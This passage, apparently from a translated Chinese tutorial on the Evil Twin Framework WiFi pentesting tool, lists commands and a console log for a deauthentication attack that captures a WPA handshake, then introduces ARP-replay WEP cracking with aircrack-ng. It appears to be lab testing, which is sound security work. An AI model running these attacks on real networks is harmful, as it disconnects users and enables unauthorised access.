ETF 启用了 AirScanner 模块并分析 IEEE 802.11 数据帧来发现 WPA 握手包。然后 AirInjecto 就可以使用解除认证攻击来强制客户端断开连接,以进行重连。必须在 ETF 上执行下面这些步骤才能完成上面的目标:
- 进入 AirScanner 配置模式:
config airscanner
- 设置 AirScanner 不跳信道:
config airscanner
- 设置信道以嗅探经过 WiFi 接入点信道的数据(APC):
set fixed_sniffing_channel = <APC>
- 使用 CredentialSniffer 插件来启动 AirScanner 模块:
start airscanner with credentialsniffer
- 从已嗅探的接入点列表中添加目标接入点的 BSSID(APS):
add aps where ssid = <APS>
- 启用 AirInjector 模块,在默认情况下,它会启用解除认证攻击:
start airinjector
这些简单的命令设置能让 ETF 在每次测试时执行成功且有效的解除认证攻击。ETF 也能在每次测试的时候捕获 WPA 的握手数据包。下面的代码能让我们看到 ETF 成功的执行情况。
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[+] Do you want to load an older session? [Y/n]: n [+] Creating new temporary session on 02/08/2018 [+] Enter the desired session name: ETF[etf/aircommunicator/]::> config airscanner ETF[etf/aircommunicator/airscanner]::> listargs sniffing_interface = wlan1; (var) probes = True; (var) beacons = True; (var) hop_channels = false; (var) fixed_sniffing_channel = 11; (var) ETF[etf/aircommunicator/airscanner]::> start airscanner with arpreplayer caffelatte credentialsniffer packetlogger selfishwifi ETF[etf/aircommunicator/airscanner]::> start airscanner with credentialsniffer [+] Successfully added credentialsniffer plugin. [+] Starting packet sniffer on interface 'wlan1' [+] Set fixed channel to 11 ETF[etf/aircommunicator/airscanner]::> add aps where ssid = CrackWPA ETF[etf/aircommunicator/airscanner]::> start airinjector ETF[etf/aircommunicator/airscanner]::> [+] Starting deauthentication attack - 1000 bursts of 1 packets - 1 different packets [+] Injection attacks finished executing. [+] Starting post injection methods [+] Post injection methods finished [+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'
使用 ARP 重放攻击并破解 WEP 无线网络
下面这个场景(图 3)将关注地址解析协议(ARP)重放攻击的效率和捕获包含初始化向量(IVs)的 WEP 数据包的速度。相同的网络可能需要破解不同数量的捕获的 IVs,所以这个场景的 IVs 上限是 50000。如果这个网络在首次测试期间,还未捕获到 50000 IVs 就崩溃了,那么实际捕获到的 IVs 数量会成为这个网络在接下来的测试里的新的上限。我们使用 aircrack-ng 对数据包进行破解。
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